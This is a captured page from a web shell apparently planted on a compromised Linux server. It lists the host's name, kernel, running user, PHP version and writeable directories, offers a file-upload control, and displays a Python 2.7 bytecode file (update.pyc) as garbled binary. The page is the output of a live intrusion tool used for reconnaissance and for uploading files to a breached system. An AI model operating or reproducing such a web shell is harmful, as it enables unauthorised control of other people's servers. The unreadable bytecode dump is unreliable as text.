Sh3ll
OdayForums


Server : Apache
System : Linux server1.cgrithy.com 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User : nobody ( 99)
PHP Version : 8.1.23
Disable Function : NONE
Directory :  /usr/lib64/python2.7/Demo/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib64/python2.7/Demo/scripts/update.pyc
�
V
�Qc@soddlZddlZddlZdZeje�Zddd��YZd�Zedkrke�ndS(i����Ns^([^: 	
]+):([1-9][0-9]*):tFileObjcBs#eZd�Zd�Zd�ZRS(cCsk||_d|_yt|d�j�|_Wn*tk
rZ}d|G|GHd|_dSXdG|jGHdS(Nitrs*** Can't open "%s":tdiffing(tfilenametchangedtopent	readlinestlinestIOErrortNone(tselfRtmsg((s+/usr/lib64/python2.7/Demo/scripts/update.pyt__init__s		
	cCs�|jsdG|jGHdSy0tj|j|jd�t|jd�}Wn-tjtfk
rx}d|jG|GHdSXdG|jGHx|jD]}|j|�q�W|j	�d|_dS(Ns
no changes tot~tws*** Can't rewrite "%s":twritingi(
RRtostrenameRterrorRRtwritetclose(R
tfpRtline((s+/usr/lib64/python2.7/Demo/scripts/update.pytfinishs	
cCs�|jdkr'd|j||fGdSt|�d}d|koWt|j�knstd|j||fGdS|j||kr�d|j||fGdS|js�d|_nd||fGHdG|j|GdGH||j|<d	G|j|GdS(
Ns(not processed): %s:%s:%siis&*** Line number out of range: %s:%s:%ss(no change): %s:%s:%ss%sc%st<s---t>(RR	RtevaltlenR(R
tlinenotrestti((s+/usr/lib64/python2.7/Demo/scripts/update.pytprocess,s(%	
(t__name__t
__module__RRR(((s+/usr/lib64/python2.7/Demo/scripts/update.pyRs		cCs0tjdrayttjdd�}Wqjtk
r]}dtjdG|GHtjd�qjXn	tj}d}x�|j�}|s�|r�|j�nPnt	j
|�}|dkr�dG|Gqsnt	jdd�\}}|s�||jkr|r|j�nt
|�}n|j|||�qsdS(NiRsCan't open "%s":isFunny line:i(tsystargvRRtexittstdinR	treadlineRtprogtmatchtgroupRRR(RRtcurfileRtnRR((s+/usr/lib64/python2.7/Demo/scripts/update.pytmainBs0
	

t__main__((	RR"tretpattcompileR'RR,R (((s+/usr/lib64/python2.7/Demo/scripts/update.pyt<module>	s2	

ZeroDay Forums Mini